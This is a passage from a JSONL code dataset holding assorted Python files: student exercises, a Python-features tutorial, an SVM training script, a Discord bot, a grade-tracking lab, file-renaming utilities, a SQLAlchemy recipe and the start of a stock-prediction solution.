plt.annotate(txt, (x[i], y[i]), ha='center', size='large')\n\nplt.title('State values function of learned agent for chakra')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.savefig(\"chakra_val.png\", dpi=300)\nplt.show()\n\n","sub_path":"Q Learning, Sarsa and Policy Gradients/Code/Q2_Policy_Gradient/val_fun_chakra.py","file_name":"val_fun_chakra.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"437279054","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'diagonalDifference' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts 2D_INTEGER_ARRAY arr as parameter.\n#\n\ndef diagonalDifference(arr):\n d1=0\n d2=0\n # Write your code here\n print(len(arr))\n print(arr)\n for i in range(len(arr)):\n \n for j in range(len(arr)):\n if(i==j):\n d1+=arr[i][j]\n m=0\n l= len(arr)-1 \n\n for k in range(len(arr)):\n d2+=arr[m][l]\n m+=1\n l-=1\n \n\n print(d1,d2)\n # if(d1>d2):\n # return d1-d2\n # else:\n # return d2-d1\n\n\n \n\nif __name__ == '__main__':\n # fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input().strip())\n\n arr = []\n\n for _ in range(n):\n arr.append(list(map(int, input().rstrip().split())))\n\n result = diagonalDifference(arr)\n\n # fptr.write(str(result) + '\\n')\n\n # fptr.close()\n","sub_path":"ab.py","file_name":"ab.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"535378851","text":"\"\"\"\n实例 unix | linux 下守护进程\n\n1、实现守护进程的所有功能\n2、当应用以守护进程模式运行时把 stderro 的转出重新定向到文件\n\"\"\"\n\nimport logging\nfrom logging.handlers import RotatingFileHandler\nfrom dbma.loggers import root_logger,stream_handler\n\ndef change_logger_handler(log_file_path:str=\"/usr/local/dbm-agent/logs/dbma.log\"):\n \"\"\"\n 把 root_logger 设置成向文件打日志\n\n log_file_path\n -------------\n str: 日志文件的全路径\n \"\"\"\n # 不再向 stdout 打日志。\n root_logger.removeHandler(stream_handler)\n\n # \n rfh = logging.RotatingFileHandler(log_file_path,maxBytes=1024*1024*64,backupCount=10,encoding='utf8')\n formatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(threadName)s - %(levelname)s - %(message)s')\n rfh.setFormatter(formatter)\n root_logger.addHandler(rfh)\n\n","sub_path":"dbma/unix/daemon.py","file_name":"daemon.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"486374835","text":"import sys\nfrom functools import reduce\n\nx, y = 1, 100\nmylyst = [1, 2, 3]\n# In a function call:\n# * unpacks a list or tuple into position arguments.\n# ** unpacks a dictionary into keyword arguments.\nlis = [1, 2, 3, 4]\ndic = {'a': 10, 'b': 20}\n(1, 2, 3, 4)\n{'a': 10, 'b': 20}\nnewlist = [*mylyst, 100, 200]\n\n\n# Inside a function header:\n# * collects all the positional arguments in a tuple.\n# ** collects all the keyword arguments in a dictionary.\ndef functionA(*a, **kw):\n print(a)\n print(kw)\n\n\nfunctionA(1, 2, 3, 4, 5, 6, a=2, b=3, c=5)\n(1, 2, 3, 4, 5, 6)\n{'a': 2, 'c': 5, 'b': 3}\nfunctionA(*lis, **dic) # it is similar to functionA(1, 2, 3, 4, a=10, b=20)\n\n\n# define a class inside a function\ndef build_trainer(name):\n class trainer_cls():\n def __init__(self, config):\n pass\n\n def _train(self):\n pass\n\n trainer_cls.__name = name\n trainer_cls.__qualname__ = name\n return trainer_cls\n\n\nA2cTrainer = build_trainer(\"a2c\") # works as a class constructor, not an object constructor\ntrainer = A2cTrainer(config=\"blabla\")\n\n\n# define a function inside a function\ndef func1():\n def func2(x):\n return x + 1\n\n return func2\n\n\nnew_func = func1()\nx = (2)\nprint(x)\n\n\n# define a function inside a function\nclass PolicyWithValue():\n pass\n\n\ndef build_policy(env, policy_network, value_work=None):\n def policy_fn(nbath=None, nstes=None):\n policy = PolicyWithValue(env=env)\n pass\n return policy\n\n return policy_fn() # eventually return the policy\n\n\n# inspect\n# print(inspect.getsource(Queue))\n\n# magic methods/data model methods and python data model\n# magic methods are double underscored methods\nfrom queue import Queue as q\n\n\nclass Queue(q):\n def __repr__(self):\n return f\"Queue({self.qsize()})\"\n\n def __add__(self, other):\n self.put(other)\n\n\nqu = Queue()\nprint(qu)\nqu + 9\n\n\n# metaclasses\nclass Foo:\n def show(self):\n print(\"hi\")\n\n\ndef add_atribute(self):\n self.z = 9\n\n\n# type(name, bases, dict) -> a new type\n# how to use type to create a class\nTest = type('Test', (Foo,), {\"x\": 5, \"add_attribute\": add_atribute})\nt = Test()\nt.wy = \"hello\"\nprint(t.wy)\nt.show()\nt.add_attribute()\nprint(t.z)\n\n\n# meta class can change the class atribute and force in different ways in different user iterface\nclass Meta(type):\n def __new__(self, class_name, bases, attrs):\n a = {}\n for name, val in attrs.items():\n if name.startswith(\"__\"):\n a[name] = val\n else:\n a[name.upper()] = val # change atributes to upper class\n return type(class_name, bases, a)\n\n\nclass Dog(metaclass=Meta):\n x = 5\n y = 8\n\n def hello(self):\n print(\"hi\")\n\n\nd = Dog()\nd.HELLO()\n\n\n# decorators wrap a function, modifying its behavior\n# used when you want to modify behavior of a function without toughing it or changing it, check input and output values, timer\ndef my_decorator(func): # pass a function to a function\n def wrapper(*args, **kwargs): # implement wrapper to change the behavior\n print(\"Something is happening before the function is called.\")\n rv = func(*args, **kwargs)\n print(\"Something is happening after the function is called.\")\n return rv\n\n return wrapper\n\n\n# say_whee = my_decorator(say_whee)\n@my_decorator\ndef say_whee():\n print(\"Whee!\")\n\n\nsay_whee()\n\nimport time\n\n\ndef timer(func):\n def wrapper(*args, **kwargs):\n start = time.time()\n rv = func(*args, **kwargs)\n total = time.time() - start\n print(\"time:\", total)\n return rv\n\n return wrapper\n\n\n@timer\ndef test():\n time.sleep(2)\n\n\ntest()\n\n# generators\nx = [i ** 2 for i in range(10)] # take too much memory\n\n\nclass Gen: # let you look at one value at a time\n def __init__(self, n):\n self.n = n\n self.last = 0\n\n def __next__(self):\n return self.next()\n\n def next(self):\n if self.last == self.n:\n raise StopIteration()\n rv = self.last ** 2\n self.last += 1\n return rv\n\n\ng = Gen(100)\nwhile True:\n try:\n print(next(g))\n except StopIteration:\n break\n\n\n# same as\ndef gen(n):\n for i in range(n):\n yield i ** 2 # pause\n\n\ng = gen(1000000)\nprint(next(g)) # next is defined in builtin\nprint(next(g))\nprint(sys.getsizeof(g))\nmy_generator = (i for i in range(10) if i % 2 == 0)\nfor i in my_generator:\n print(i)\n\n# context managers\n# using with, it will close this file at the end no matter break or not\nwith open(\"file.txt\", \"w\") as file:\n file.write(\"hello\")\n\n# lambda function\n# lambda arguments: expression, usually used only once in the code or as argument for sorted, map, filter and reduce\nmult = lambda x, y: x * y\nmult(5, 10)\nprints2D = [(1, 2), (15, 1), (5, -1), (10, 4)]\nsorted = sorted(prints2D, key=lambda x: x[0] + x[1])\n# map(func, seq)\na = [1, 2, 3, 4, 5]\nb = map(lambda x: x * 2, a)\nc = map(lambda x: x % 2 == 0, a)\nc = [x for x in a if x % 2 == 0]\n# reduce(func, seq)\nprint(list(b))\nd = reduce(lambda x, y: x * y, a)\nprint(d)\n\n# random numbers\nimport random\n\nrandom.seed(1) # reduceable\na = random.random()\na = random.randint(1, 10)\n\nimport secrets # not reduc[\"abcdedf\"]eble\n\na = secrets.randbelow(10)\na = secrets.randbits(4) # largest 15, 4 bits 1111\nmylyst = list(\"abcdedf\")\nprint(mylyst)\na = secrets.choice(mylyst)\nprint(a)\n\nimport numpy as np\n\nnp.random.seed(1) # reproduceable\na = np.random.rand(3)\nprint(a)\na = np.random.randint(0, 10, (3, 4))\nprint(a)\narr = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\nprint(arr)\nnp.random.shuffle(arr)\nprint(arr)\n\n## format\nprint(f'{x:02} {x * x:3} {x * x * x:4}')\n# 09 81 729\ntime1 = time.time()\ntime2 = time.time() + 10\nprint(f\"perf training time: {(time2 - time1):.2f}\")\n","sub_path":"src/basics/advanced.py","file_name":"advanced.py","file_ext":"py","file_size_in_byte":5751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"469324320","text":"import numpy as np\r\nfrom sklearn import svm\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn import preprocessing\r\nfrom sklearn.externals import joblib\r\n\r\npath = 'training.data' # 数据文件路径\r\ndata=np.loadtxt(path,dtype=float) #读取数据\r\nnp.random.shuffle(data) #打乱数据\r\n\r\n#划分数据\r\nx, y = np.split(data, (6,), axis=1)\r\nx_train, x_test, y_train, y_test = train_test_split(x, y, random_state=0, train_size=0.75)\r\n\r\n#数据归一化\r\nscaler = preprocessing.StandardScaler().fit(x_train) #保存训练集的标准差和均值\r\nx_train=scaler.transform(x_train) #训练集数据归一化\r\nx_test=scaler.transform(x_test) #测试集使用训练集数据归一化\r\n'''\r\n#从2^-5-2^15区间中寻找最优C值,从2^-15-2^3区间寻找最优γ值\r\nCScale = [-5, -3, -1, 1, 3, 5, 7, 9, 11, 13, 15]\r\ngammaScale = [-15, -13, -11, -9, -7, -5,-3,-1,1,3]\r\nscore={'c':0.0,'g':0.0,'score':0.0}\r\nfor Cindex,c in enumerate(CScale):\r\n\tfor Gindex,g in enumerate(gammaScale):\r\n\t\tclf = svm.SVC(C=pow(2,c), kernel='rbf', gamma=pow(2,g), decision_function_shape='ovo')\r\n\t\tclf.fit(x_train, y_train.ravel())\r\n\t\tresult=clf.score(x_train, y_train)\r\n\t\tif result>score['score']:\r\n\t\t\tscore['c']=Cindex\r\n\t\t\tscore['g']=Gindex\r\n\t\t\tscore['score']=result\r\n\r\n\r\nn = 10\r\nminCScale = 0.5*(CScale[int(max(0,score['c']-1))]+CScale[int(score['c'])])\r\nmaxCScale = 0.5*(CScale[int(min(len(CScale)-1,score['c']+1))]+CScale[int(score['c'])])\r\nnewCScale=np.arange(minCScale,maxCScale,(maxCScale-minCScale)/n)\r\nprint(newCScale)\r\nmingammaScale = 0.5*(gammaScale[int(max(0,score['g']-1))]+gammaScale[int(score['g'])])\r\nmaxgammaScale = 0.5*(gammaScale[int(min(len(gammaScale)-1,score['g']+1))]+gammaScale[int(score['g'])])\r\nnewgammaScale=np.arange(mingammaScale,maxgammaScale,(maxgammaScale-mingammaScale)/n)\r\nprint(newgammaScale)\r\n\r\nscore['score']=0.0\r\nfor c in newCScale:\r\n\tfor g in newgammaScale:\r\n\t\tclf = svm.SVC(C=pow(2,c), kernel='rbf', gamma=pow(2,g), decision_function_shape='ovo')\r\n\t\tclf.fit(x_train, y_train.ravel())\r\n\t\tresult=clf.score(x_train, y_train)\r\n\t\tif result>score['score']:\r\n\t\t\tscore['c']=pow(2,c)\r\n\t\t\tscore['g']=pow(2,g)\r\n\t\t\tscore['score']=result\r\n\r\n\r\nprint('bestC:'+str(score['c'])+' bestgamma:'+str(score['g']))\r\n'''\r\n#bestC:1024.0 bestgamma:7.464263932294464\r\nclf = svm.SVC(C=1024.0, kernel='rbf', gamma=7.464263932294464, decision_function_shape='ovo')\r\nclf.fit(x_train, y_train.ravel())\r\n#保存模型\r\njoblib.dump(clf, 'svm_train.pkl')\r\n#加载模型\r\n#clf = joblib.load('svm_train.pkl')\r\n#查看结果\r\nprint(\"训练集精度\")\r\nprint(clf.score(x_train, y_train))\r\nprint(\"测试集精度\")\r\nprint(clf.score(x_test, y_test))\r\n","sub_path":"homework1.py","file_name":"homework1.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"208932279","text":"# Must be run in python 3.4 - 37\n\nimport random\nimport os\nimport discord\nfrom discord.ext import commands\nimport json\nimport aiohttp\nimport core\n\n# Krypto.py solves integer and fraction Krypto\n# Krypto.Main(s) where s is the string of numbers\n# n1, n2, n3, n4, n5, target\nimport Krypto\n\n# Used for !bhat poker\nimport BotnagarPokerFunctions as BPF\n\n# User control\nimport Users\n\n# Used for !bhat chord\nimport chord_id as cid\n\n\nPREFIX = ('!b ', '!bhat ')\nwith open('beta.token') as file:\n TOKEN = file.read()\n\nclient = commands.Bot(command_prefix=PREFIX)\n\n@client.event\nasync def on_message(message):\n # We do not want the bot to reply to itself\n if message.author == client.user:\n return\n\n # bhat interjections\n elif 'bhat' in message.content and '!' != message.content[0]:\n await message.channel.send('Hello!')\n\n # process command - channel restricted\n elif message.channel.name == 'botnagar':\n await client.process_commands(message)\n else:\n pass\n\n@client.event\nasync def on_command_error(ctx, error):\n print(error)\n await ctx.send('I\\'m having trouble with that....err..')\n\n@client.event\nasync def on_ready():\n await client.change_presence(activity=discord.Game(name='...It!'))\n print('Logged in! \\n----------')\n\n@client.command()\nasync def ping(ctx):\n await ctx.send('Pong!')\n\n@client.command()\nasync def lookup(ctx):\n bhatUser = Users.User(ctx.message.author.name)\n await ctx.send('I found you! \\n {}'.format(bhatUser.__dict__))\n\n@client.command()\nasync def changenick(ctx):\n bhatUser = Users.User(ctx.message.author.name)\n \n\n@client.command()\n@commands.has_permissions(administrator=True)\nasync def logout(ctx):\n await ctx.send('Goodbye!')\n await client.logout()\n\nclient.run(TOKEN)","sub_path":"Botnagar.py","file_name":"Botnagar.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"627699624","text":"\"\"\" Lab 2\"\"\"\nfrom typing import Union, Any\n\n\nclass GradeEntry:\n \"\"\" This is a system to keep track of student grades.\n\n === Attributes ===\n name - course identifier such as \"CSC148\"\n weight - course weight, either 1.0 for a half-course or 2.0 for a\n full course\n grade - not meaningful yet\n CATEGORY_TO_POINTS - a mapping of grade categories to a grade point\n \"\"\"\n name: str\n weight: float\n grade: Union[int, str]\n\n CATEGORY_TO_POINTS = {0: 0.0, 1: 0.7, 2: 1.0, 3: 1.3, 4: 1.7, 5: 2.0,\n 6: 2.3, 7: 2.7, 8: 3.0, 9: 3.3, 10: 3.7, 11: 4.0,\n 12: 4.0}\n\n def __init__(self, name: str, grade: Union[int, str], weight: float) -> \\\n None:\n \"\"\" Initialize a grade entry.\n\n >>> grade1 = GradeEntry('CSC148', 'A+', 1)\n >>> grade1.name\n 'CSC148'\n >>> grade1.weight\n 1.0\n >>> grade1.grade\n 'A+'\n \"\"\"\n self.name = name\n self.weight = float(weight)\n self.grade = grade\n\n def __eq__(self, other: Any) -> bool:\n \"\"\" Check if self and other are equivalent.\n\n #>>> grade1 = GradeEntry('CSC148', 'A+', 1)\n #>>> grade2 = GradeEntry('CSC148', 'A+', 1)\n #>>> grade3 = GradeEntry('CSC148', 'B', 1)\n #>>> grade4 = GradeEntry('CSC148', 88, 1)\n #>>> grade1 == grade2\n True\n #>>> grade1 == grade3\n False\n #>>> grade1 == grade4\n True\n \"\"\"\n return issubclass(type(self), GradeEntry) and \\\n issubclass(type(other), GradeEntry) and self.name == other.name and\\\n self.weight == other.weight and self.grade_to_points() == \\\n other.grade_to_points()\n\n def __str__(self) -> str:\n \"\"\" Return a string representation of self.\n \"\"\"\n return f'Weight: {self.weight}, grade: {self.grade}, ' \\\n f'points: {self.grade_to_points()}'\n\n def grade_to_points(self) -> float:\n \"\"\" Overridden in the subclasses. \"\"\"\n raise NotImplementedError('Subclass needed')\n\n def total(self) -> float:\n \"\"\" Compute weight times points of self.\n\n >>> LetterGradeEntry('CSC148', 'A+', 1).total()\n 4.0\n \"\"\"\n return self.grade_to_points() * self.weight\n\n\nclass NumericGradeEntry(GradeEntry):\n \"\"\" A course grade with an integer value.\n\n === Attributes ===\n name - course identifier such as \"CSC148\"\n grade - course grade, which has an integer value\n weight - course weight, either 1.0 for a half-course or 2.0 for a\n full course\n _grade_category - represents a category that the grade falls into\n \"\"\"\n name: str\n grade: int\n weight: float\n\n def __init__(self, name: str, grade: int, weight: float) -> None:\n \"\"\" Initialize a numeric grade entry which extends GradeEntry.\n\n >>> grade1 = NumericGradeEntry('CSC148', 96, 1)\n >>> grade1.name\n 'CSC148'\n >>> grade1.weight\n 1.0\n >>> grade1.grade\n 96\n >>> grade1._grade_category\n 12\n \"\"\"\n self.name = name\n self.weight = float(weight)\n self.grade = grade\n\n if 0 <= self.grade <= 49:\n self._grade_category = 0\n elif 50 <= self.grade <= 52:\n self._grade_category = 1\n elif 53 <= self.grade <= 56:\n self._grade_category = 2\n elif 57 <= self.grade <= 59:\n self._grade_category = 3\n elif 60 <= self.grade <= 62:\n self._grade_category = 4\n elif 63 <= self.grade <= 66:\n self._grade_category = 5\n elif 67 <= self.grade <= 69:\n self._grade_category = 6\n elif 70 <= self.grade <= 72:\n self._grade_category = 7\n elif 73 <= self.grade <= 76:\n self._grade_category = 8\n elif 77 <= self.grade <= 79:\n self._grade_category = 9\n elif 80 <= self.grade <= 84:\n self._grade_category = 10\n elif 85 <= self.grade <= 89:\n self._grade_category = 11\n elif 90 <= self.grade <= 100:\n self._grade_category = 12\n else:\n raise ValueError('Enter a grade between 0 and 100.')\n\n def grade_to_points(self) -> float:\n \"\"\" Overrides the corresponding method in GradeEntry. Returns the number\n of points that the grade in self is worth.\n\n >>> grade1 = NumericGradeEntry('CSC148', 96, 1)\n >>> grade1.grade_to_points()\n 4.0\n \"\"\"\n return self.CATEGORY_TO_POINTS[self._grade_category]\n\n\nclass LetterGradeEntry(GradeEntry):\n \"\"\" A course grade with a character value.\n\n === Attributes ===\n name - course identifier such as \"CSC148\"\n grade - course grade, which has a letter value like A, B-, C+,...\n weight - course weight, either 1.0 for a half-course or 2.0 for a\n full course\n _grade_category - represents a category that the grade falls into\n \"\"\"\n name: str\n grade: str\n weight: float\n\n def __init__(self, name: str, grade: str, weight: float) -> None:\n \"\"\" Initialize a letter grade entry which extends GradeEntry.\n\n >>> grade1 = LetterGradeEntry('CSC148', 'A', 1)\n >>> grade1.name\n 'CSC148'\n >>> grade1.weight\n 1.0\n >>> grade1.grade\n 'A'\n >>> grade1._grade_category\n 11\n \"\"\"\n self.name = name\n self.weight = float(weight)\n self.grade = grade\n\n if self.grade == 'F':\n self._grade_category = 0\n elif self.grade == 'D-':\n self._grade_category = 1\n elif self.grade == 'D':\n self._grade_category = 2\n elif self.grade == 'D+':\n self._grade_category = 3\n elif self.grade == 'C-':\n self._grade_category = 4\n elif self.grade == 'C':\n self._grade_category = 5\n elif self.grade == 'C+':\n self._grade_category = 6\n elif self.grade == 'B-':\n self._grade_category = 7\n elif self.grade == 'B':\n self._grade_category = 8\n elif self.grade == 'B+':\n self._grade_category = 9\n elif self.grade == 'A-':\n self._grade_category = 10\n elif self.grade == 'A':\n self._grade_category = 11\n elif self.grade == 'A+':\n self._grade_category = 12\n else:\n raise ValueError(\"Enter a grade between 'A' and 'F' with a \"\n \"possible suffix of '+' or '-'.\")\n\n def grade_to_points(self) -> float:\n \"\"\" Overrides the corresponding method in GradeEntry. Returns the number\n of points that the grade in self is worth.\n\n >>> grade1 = LetterGradeEntry('CSC148', 'A', 1)\n >>> grade1.grade_to_points()\n 4.0\n \"\"\"\n return self.CATEGORY_TO_POINTS[self._grade_category]\n\n\nif __name__ == '__main__':\n from doctest import testmod\n testmod()\n grades = [NumericGradeEntry('csc148', 87, 1.0),\n NumericGradeEntry('mat137', 76, 2.0),\n LetterGradeEntry('his450', 'B+', 1.0)]\n\n for g in grades:\n print(g)\n\n total = sum([g.total() for g in grades])\n total_weight = sum([g.weight for g in grades])\n print(f'GPA = {total / total_weight}')\n","sub_path":"grade(mit).py","file_name":"grade(mit).py","file_ext":"py","file_size_in_byte":7279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"193914259","text":"import glob\nfrom shutil import copyfile\n\nfrom website.db.update import set_album_title\nfrom website.db.fetch import get_album_by_path\nfrom website.lib.color import ColorPrint\nfrom website.services.services import has_haakjes, replace_haakjes\nfrom website.services.cuesheet import get_full_cuesheet\nimport os\n\ncover_names = ['box front', 'front', 'Cover', 'cover', 'Front', 'Folder',\n 'cover.jpeg', 'folder.png']\ncover_nice = 'folder.jpg'\nback_names = ['Back.jpg']\nback_nice = 'back.jpg'\n\n\ndef rename_cover_one(path, name):\n if '.' not in name:\n name += '.jpg'\n src = u'{}/{}'.format(path, name)\n # print(src)\n if os.path.exists(src):\n # print(src)\n trg = u'{}/{}'.format(path, cover_nice)\n if not os.path.exists(trg):\n os.rename(src, trg)\n ColorPrint.print_c('renamed to:{}'.format(trg), ColorPrint.GREEN)\n\n\ndef rename_cover(path, step_in):\n for name in cover_names:\n rename_cover_one(path, name)\n if step_in:\n # one recursive step\n for d2 in os.listdir(path):\n p2 = u'{}/{}'.format(path, d2)\n if os.path.isdir(p2):\n rename_cover_one(p2, name)\n\n\ndef rename_back_one(path, name):\n src = '{}/{}.jpg'.format(path, name)\n if os.path.exists(src):\n trg = '{}/{}'.format(path, back_nice)\n if not os.path.exists(trg):\n os.rename(src, trg)\n ColorPrint.print_c('renamed to:{}'.format(trg), ColorPrint.GREEN)\n\n\ndef rename_back(path, step_in):\n for name in back_names:\n rename_back_one(path, name)\n if step_in:\n # one recursive step\n for d2 in os.listdir(path):\n p2 = u'{}/{}'.format(path, d2)\n if os.path.isdir(p2):\n rename_back_one(p2, name)\n\n\ndef rename_to_back_one(path):\n jpgpath = u'{}/scan/*Back.jpg'.format(path)\n for src in glob.iglob(jpgpath):\n trg = '{}/back.jpg'.format(path)\n if not os.path.exists(trg):\n copyfile(src, trg)\n print(src)\n print('copied to:{}'.format(trg))\n\n\ndef rename_to_back(path):\n for d2 in os.listdir(path):\n p2 = u'{}/{}'.format(path, d2)\n if os.path.isdir(p2):\n rename_to_back_one(p2)\n\n\ndef restore_cover_one(path, fro, to):\n src = u'{}/{}.jpg'.format(path, fro)\n # print(src)\n if os.path.exists(src):\n trg = u'{}/{}.jpg'.format(path, to)\n # print(trg)\n if os.path.exists(trg):\n os.unlink(trg)\n os.rename(src, trg)\n ColorPrint.print_c('renamed to:{}'.format(trg), ColorPrint.GREEN)\n\n\ndef restore_cover(path, step_in):\n \"\"\"\n herstel covers, waar .big varianten bestaan\n\n :param path:\n :param step_in:\n :return:\n \"\"\"\n restore_cover_one(path, 'back.big', 'back')\n restore_cover_one(path, 'folder.big', 'folder')\n if step_in:\n for d2 in os.listdir(path):\n p2 = u'{}/{}'.format(path, d2)\n # print(p2)\n if os.path.isdir(p2):\n restore_cover_one(p2, 'back.big', 'back')\n restore_cover_one(p2, 'folder.big', 'folder')\n\n\ndef sanatize_haakjes_one(path, d):\n src = u'{}/{}'.format(path, d)\n if os.path.exists(src) and os.path.isdir(src):\n if has_haakjes(d):\n d_trg = replace_haakjes(d)\n dst = u'{}/{}'.format(path, d_trg)\n os.rename(src, dst)\n print(dst)\n return dst\n else:\n return src\n return None\n\n\ndef sanatize_haakjes(path, step_in):\n for d in os.listdir(path):\n dst = sanatize_haakjes_one(path, d)\n if dst and step_in:\n # one recursive step\n for d2 in os.listdir(dst):\n p2 = u'{}/{}'.format(dst, d2)\n sanatize_haakjes_one(p2, d2)\n\n\ndef album_by_path(p, c):\n return get_album_by_path(p, c)\n\n\ndef rename_all_titles(path, skipdirs, c, conn):\n for d in os.listdir(path):\n p = u'{}/{}'.format(path, d)\n if os.path.isdir(p) and d not in skipdirs:\n # nr = u'{}{}'.format(d[-2],d[-1])\n # if int(nr) > 0:\n cuepath = u'{}/lijst.cue'.format(p)\n if not os.path.exists(cuepath):\n cuepath = u'{}/*.cue'.format(p)\n for ncue in glob.iglob(cuepath):\n cuepath = ncue\n # return\n cue = get_full_cuesheet(cuepath, 0)\n # full_title = '{} - {}'.format(nr, cue['Title'])\n full_title = '{}'.format(cue['Title'])\n print(full_title)\n\n album = album_by_path(p, c)\n print(album['Title'])\n set_album_title(album['ID'], full_title, c, conn)\n","sub_path":"website/scripts/helper/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":4728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"230430770","text":"# https://bitbucket.org/zzzeek/sqlalchemy/wiki/UsageRecipes/UniqueObject\n\nimport sqlalchemy as sa\nfrom sqlalchemy import Column, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\nfrom twbase import * # NOQA\n\n\ndef _unique(session, cls, hashfunc, queryfunc, constructor, arg, kw):\n cache = getattr(session, '_unique_cache', None)\n if cache is None:\n session._unique_cache = cache = {}\n\n key = (cls, hashfunc(*arg, **kw))\n if key in cache:\n return cache[key]\n else:\n with session.no_autoflush:\n q = session.query(cls)\n q = queryfunc(q, *arg, **kw)\n obj = q.first()\n if not obj:\n obj = constructor(*arg, **kw)\n session.add(obj)\n cache[key] = obj\n return obj\n\n\nclass UniqueMixin(object):\n @classmethod\n def unique_hash(cls, *arg, **kw):\n raise NotImplementedError()\n\n @classmethod\n def unique_filter(cls, query, *arg, **kw):\n raise NotImplementedError()\n\n @classmethod\n def as_unique(cls, session, *arg, **kw):\n return _unique(\n session,\n cls,\n cls.unique_hash,\n cls.unique_filter,\n cls,\n arg, kw\n )\n\n\nif __name__ == \"__main__\":\n engine = sa.create_engine('sqlite:///:memory:', echo=False)\n # engine = sa.create_engine(url, echo=verbose)\n\n Base = declarative_base()\n\n Session = sessionmaker(bind=engine.connect())\n session = Session()\n\n class User(UniqueMixin, Base):\n __tablename__ = 'users'\n\n id = Column(Integer, primary_key=True)\n name = Column(String)\n fullname = Column(String)\n password = Column(String)\n\n @classmethod\n def unique_hash(cls, name):\n return name\n\n @classmethod\n def unique_filter(cls, query, name):\n return query.filter(User.name == name)\n\n def __repr__(self):\n return \"<User(name='%s', fullname='%s', password='%s')>\" % (\n self.name, self.fullname, self.password)\n\n print(User.__table__)\n Base.metadata.create_all(engine)\n\n # unique objects\n w1, w2, w3 = User.as_unique(session, name='w1'), \\\n User.as_unique(session, name='w2'), \\\n User.as_unique(session, name='w3')\n w1b = User.as_unique(session, name='w1')\n\n assert w1 is w1b\n assert w2 is not w3\n assert w2 is not w1\n session.commit()\n","sub_path":"twBase/twsql/twsql/getorcreate.py","file_name":"getorcreate.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"508405902","text":"import os \ndirpath = os.path.dirname(os.path.realpath(__file__))\n\n\nclass datafile:\n\tdns = \"\";\n\tns = \"\";\n\tavr = 0;\n\tvar = 0;\n\tmin_ = 0;\n\tmax_ = 0;\n\n\tdef readData(self, fname):\n\t\tf = open(fname, 'r')\n\t\tself.dns = f.readline().replace(\"\\n\", \"\").split(';')[1]\n\t\tself.ns = f.readline().replace(\"\\n\", \"\").split(';')[1]\n\t\tself.avr = f.readline().replace(\"\\n\", \"\").split(';')[1]\n\t\tself.var = f.readline().replace(\"\\n\", \"\").split(';')[1]\n\t\tself.min_= f.readline().replace(\"\\n\", \"\").split(';')[1]\n\t\tself.max_= f.readline().replace(\"\\n\", \"\").split(';')[1]\n\t\tf.close()\n\nld = os.listdir(dirpath)\ndata = []\nns = []\nfor i in range(len(ld)):\n\tif ld[i].find(\"dns_\") != 0 : continue\n\td = datafile()\n\td.readData(ld[i])\n\tdata.append(d)\n\tif d.ns not in ns: ns.append(d.ns)\n\nf = open(\"mergeresult.txt\", 'w')\nfor i in range(len(ns)):\n\tf.write(ns[i]+ \"\\n\")\n\ttmp = list(filter(lambda t: t.ns == ns[i], data))\n\tf.write(\"\\t\")\n\tfor j in tmp: f.write(\"\\t\"+j.dns);\n\tf.write(\"\\n\")\n\tf.write(\"\\tavr\")\n\tfor j in tmp: f.write(\"\\t\"+j.avr);\n\tf.write(\"\\n\")\n\tf.write(\"\\tvar\")\n\tfor j in tmp: f.write(\"\\t\"+j.var);\n\tf.write(\"\\n\")\n\tf.write(\"\\tmin\")\n\tfor j in tmp: f.write(\"\\t\"+j.min_);\n\tf.write(\"\\n\")\n\tf.write(\"\\tmax\")\n\tfor j in tmp: f.write(\"\\t\"+j.max_);\n\tf.write(\"\\n\")\n\tf.write(\"\\n\")\n\n","sub_path":"performance/mergeData.py","file_name":"mergeData.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"162187976","text":"#https://www.hackerrank.com/challenges/stockprediction/problem\n# \n\nimport ast\ndef write_memory(stock_prices):\n filename = \"stock_memory.txt\"\n f = open(filename, \"w\")\n for i in range(0, len(stock_prices)):\n s = str(stock_prices[i]) + \"\\n\"\n f.write(s)\n f.close()\n\ndef calculate_slope_of_regression_line(x, y):\n x_avg = sum(x) / len(x)\n y_avg = sum(y) / len(y)\n numerator = 0\n denominator = 0\n #treating x as independent, y as dependent\n for i in range(len(x)):\n numerator += (x[i] - x_avg) * (y[i] - y_avg)\n denominator += (x[i] - x_avg) ** 2\n\n slope = numerator / denominator\n return slope\n\ndef calculate_intercept(x, y, slope):\n # calculate intercept of y dependent on x\n intercept = sum(y) / len(y) - slope * sum(x) / len(x)\n return intercept\n\ndef read_trainingdata():\n filename = \"stock_memory.txt\"\n f = open(filename, \"r\")\n prev_prices = []\n stocks = f.readlines()\n f.close()\n for stock in stocks:\n prev_prices.append(ast.literal_eval(stock))\n return prev_prices\n\n# Complete the function printTransactions that takes a float m money left, \n# an integer k number of stocks, an integer d days left, \n# a string array name of stock names, \n# an integer array owned of stocks owned, \n# and an 